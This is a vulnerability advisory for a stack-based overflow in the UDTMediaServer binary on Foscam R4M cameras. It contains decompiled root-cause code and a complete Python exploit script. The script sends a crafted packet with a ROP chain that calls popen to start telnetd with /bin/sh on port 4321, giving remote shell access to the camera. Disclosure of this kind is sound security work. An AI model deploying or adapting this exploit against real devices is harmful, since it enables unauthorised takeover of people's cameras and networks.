Summary
A stack-based overflow exists in UDTMediaServer, one of the binaries running in the background in Foscam. This vulnerability could be exploited to execute any command.
Credit
Yoseop Kim working with SSD Labs Korea
Vendor Response
The vendor has released an updated version, https://www.foscam.com/downloads/firmware_details.html?id=143
Affected Versions
Foscam R4M running version V-2.x.2.67
Root cause analysis
First, before explaining the vulnerability, we need to analyze the code a bit.
memcpy(v11 + v10, pkt, recv_len);
a1[sockType + 7691] += recv_len;
v13 = 0;
*s1 = 0;
v14 = 0;
v25 = 0;
while ( 1 )
{
v15 = a1[sockType + 7691];
if ( (v15 - v14) <= 0xB )
break;
srca = (v11 + v14);
*s1 = *(v11 + v14 + 4);
v21 = v15 - v14;
if ( !strcmp(s1, "FOSC") )
{
v17 = srca[2] + 12;
if ( v17 > v21 )
break;
v18 = v11 + v14;
v14 += v17;
srcb = (srca[2] + 12);
memcpy(&unk_207950 + &a1[512 * sockType], v18, srcb);
sub_28370(a1, fd, &unk_207950 + &a1[512 * sockType], srcb, sockType);
...
}
...
}
This code parses the packet received from the user and checks whether there is a string called FOSC and whether there is a byte serving as length and if length is determined to be less than 0xb, the loop will exit.
Also this loop calls the sub_28370 function with the memory containing the copied packets. unk_207950 takes part of packet and can be the conditional expression of the switch statement in the sub_28370 function:
if ( *a3 != 6 )
{
if ( (*(*(v13 + 4) + 8))(v14, a3 + 12) )
{
wirteLog(11, 1, "", "CUDTMediaServer.cpp", 2759, " DecData Error");
return 0;
}
v8 = 0;
v12 = v11;
LABEL_22:
v15 = *a3;
if ( *a3 == 9 )
{
sub_2133C(a1, a2, v12);
}
else if ( *a3 > 9u )
{
if ( v15 == 15 )
{
sub_21788(a1, a2, v12, v8, a5);
}
else if ( v15 > 0xF )
{
if ( v15 == 114 )
{
sub_256FC(a1, a2, v12, v8, a5);
}
else if ( v15 > 0x72 )
{
if ( v15 == 600 )
{
sub_2815C(a1, a2, v12, v8, a5);
}
else if ( v15 == 601 )
{
sub_24AEA(a1, a2, v12, v8, a5);
}
}
else if ( v15 == 33 )
{
sub_24908(a1, a2, v12, v8, a5);
}
else if ( v15 == 36 )
{
sub_27504(a1, a2, v12, v8, a5);
}
}
else if ( v15 == 11 )
{
sub_21414(a1, a2, v12, v8, a5);
}
else if ( v15 >= 0xB )
{
if ( v15 == 12 )
{
onGetInitInfo(a1, a2, v12, v8, a5); // call this
}
else if ( v15 == 14 )
{
sub_21708(a1, a2, v12, v8, a5);
}
}
else
{
sub_213A8(a1, a2, v12, v8, a5);
}
}
The function we need to look at is the function named onGetInitInfo above. Also a3 points to the packet’s memory, and v12 is a pointer to a3.
void __fastcall onGetInitInfo(int a1, int a2, char *pkt, int a4, int a5)
{
int v8; // r3
int v9; // r3
int v10; // r3
pthread_mutex_t *v11; // r10
char *v12; // r7
int v13; // r0
int v14; // r2
int v15; // r8
char *i; // r6
int v17; // r2
int v18; // r1
char v19[32]; // [sp+58h] [bp+0h] BYREF
char v20[104]; // [sp+78h] [bp+20h] BYREF
int v21[2]; // [sp+E0h] [bp+88h] BYREF
char dest[32]; // [sp+E8h] [bp+90h] BYREF
char v23[64]; // [sp+108h] [bp+B0h] BYREF
char v24[68]; // [sp+148h] [bp+F0h] BYREF
int v25; // [sp+18Ch] [bp+134h]
int v26; // [sp+19Ch] [bp+144h]
char v27[500]; // [sp+1A0h] [bp+148h] BYREF
int v28; // [sp+394h] [bp+33Ch] BYREF
int v29; // [sp+398h] [bp+340h]
int v30[2]; // [sp+39Ch] [bp+344h] BYREF
int v31; // [sp+3A4h] [bp+34Ch]
char v32[64]; // [sp+3BCh] [bp+364h] BYREF
char v33[68]; // [sp+3FCh] [bp+3A4h] BYREF
int v34; // [sp+440h] [bp+3E8h]
int v35; // [sp+444h] [bp+3ECh]
int v36; // [sp+450h] [bp+3F8h]
char v37[496]; // [sp+454h] [bp+3FCh] BYREF
int v38; // [sp+644h] [bp+5ECh]
memset(v19, 0, sizeof(v19));
sub_22C14(a1, a2, a5, v19);
CAesEncrypt::CAesEncrypt(v27);
v8 = *(pkt + 32);
v21[0] = a2;
v25 = v8;
v21[1] = a5;
v26 = 0;
sub_239A0(a1, a5, v21);
strcpy(dest, v19);
strcpy(v23, pkt);
strcpy(v24, pkt + 64);
...
}
The above code is only part of the function. Since pkt retrieves data from the user and the strcpy function copies the string retrieved from the user, so stack-based overflow will occur.
Exploitation
Before executing the exploit code, the UDTMediaServer binary opens a port randomly when opening a socket. Because the rand() function is used, there is a very high possibility of opening ports over 30000:
/tmp # netstat -anltpu Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:38611 0.0.0.0:* LISTEN 878/UDTMediaServer tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 674/telnetd tcp 0 0 0.0.0.0:888 0.0.0.0:* LISTEN 2971/NVTService tcp 0 0 0.0.0.0:88 0.0.0.0:* LISTEN 997/lighttpd tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 997/lighttpd tcp 0 0 0.0.0.0:65534 0.0.0.0:* LISTEN 879/RtspServer tcp 0 157 192.168.1.30:23 192.168.1.55:64083 ESTABLISHED 674/telnetd tcp 0 0 127.0.0.1:34720 127.0.0.1:38155 ESTABLISHED 995/P2PProxy tcp 0 0 192.168.1.30:55504 54.204.204.228:8884 ESTABLISHED 2978/IvyIot tcp 0 0 127.0.0.1:38155 127.0.0.1:34720 ESTABLISHED 995/P2PProxy udp 0 0 0.0.0.0:3702 0.0.0.0:* 2971/NVTService udp 0 0 0.0.0.0:10000 0.0.0.0:* 875/devMng udp 0 0 0.0.0.0:10001 0.0.0.0:* 875/devMng udp 0 0 0.0.0.0:42772 0.0.0.0:* 878/UDTMediaServer udp 0 0 192.168.1.30:41664 158.178.228.95:34781 ESTABLISHED 995/P2PProxy
import socket
import struct
import sys
HOST = str(sys.argv[1])
PORT = int(sys.argv[2])
def p32(x):
return struct.pack("<I", x)
def main():
gadget1 = 0x3701C # add sp, sp, #0x10c, pop {r4,r5,r6,r7,pc}
gadget2 = 0x54C58 # mov r1, r5; pop {r4, r5, pc};
gadget3 = 0xBDD76 # add r3, sp, #0x2bc; pop {r4, r5, pc};
gadget4 = 0x37D0C # mov r0, r3; pop {r4, pc};
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
pkt = b"\x0c\x00\x00\x00" # ID
pkt += b"FOSC" # magic
pkt += p32(0x2BC - 140) # len
pkt += b"A" * 132
pkt += b"B" * 4
pkt += p32(gadget1 + 1)
pkt += b"D" * (0x10C - 0xE4) # padding
pkt += b"aaaa"
pkt += p32(0xE2E6D) # string 'r'
pkt += b"cccc"
pkt += b"dddd"
pkt += p32(gadget2 + 1)
pkt += b"aaaabbbb"
pkt += p32(gadget3 + 1)
pkt += b"aaaabbbb"
pkt += p32(gadget4 + 1)
pkt += b"aaaa"
pkt += p32(0x46254 + 1) # popen
pkt += b"A" * (0x2BC - 20)
pkt += b"/usr/sbin/telnetd -l /bin/sh -p 4321\x00"
sock.sendall(pkt)
if __name__ == "__main__":
if len(sys.argv) != 3:
sys.exit()
main()